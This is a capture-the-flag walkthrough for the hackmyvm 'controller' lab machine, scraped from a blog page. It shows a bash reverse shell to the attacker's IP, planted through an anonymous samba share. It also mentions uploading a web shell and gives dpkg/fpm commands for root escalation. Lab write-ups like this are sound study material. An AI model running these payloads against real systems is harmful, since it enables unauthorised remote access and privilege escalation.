当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell

visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/ we get hint.

use enum4linux to get samba shares, the we get the directory tester which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')

2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php.

because of thedisable_functions, you can not use terminal directly. you can use php7_userfilter to bypass. But in there, you do not need to do this.
check the file which own to user webservices.
we find the /opt/logs/log.txt will be changed by /opt/website.py at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l, we find the dpkg -i[1]. make a particular deb by using fpm, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
猜你喜欢

1.10今日学习

第一次手撕代码,如何解出全排列问题

三元判断再三元判断

(2)Thinkphp6模板引擎**标签

PHP Foundation March Press Announcement Released

(5) 模块与包、编码格式、文件操作、目录操作

What are the PHP framework?

SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration

SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration

Thread Pool (Introduction and Use of Thread Pool)
随机推荐
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
正则笔记(1)- 正则表达式字符匹配攻略
17.JS条件语句和循环,以及数据类型转换
每日五道面试题总结 22/7/19
3.PHP数据类型、常量、字符串和运算符
[campo/random-user-agent]随机伪造你的User-Agent
js 正则中 replace() 使用
(8) requests、os、sys、re、_thread
TCP通信程序
如何计算地球上两点的距离(附公式推导)
js 之 Object.defineProperty()
js预编译 GO 和AO
Phpstudy安装Thinkphp6(问题+解决)
[league/flysystem]一个优雅且支持度非常高的文件操作接口
Dom实现input的焦点触发
New usage of string variable parsing in PHP8.2
1.13 学习JS
Several interesting ways to open PHP: from basic to perverted
PHP图片压缩到指定的大小
PHP8.2的版本发布管理员和发布计划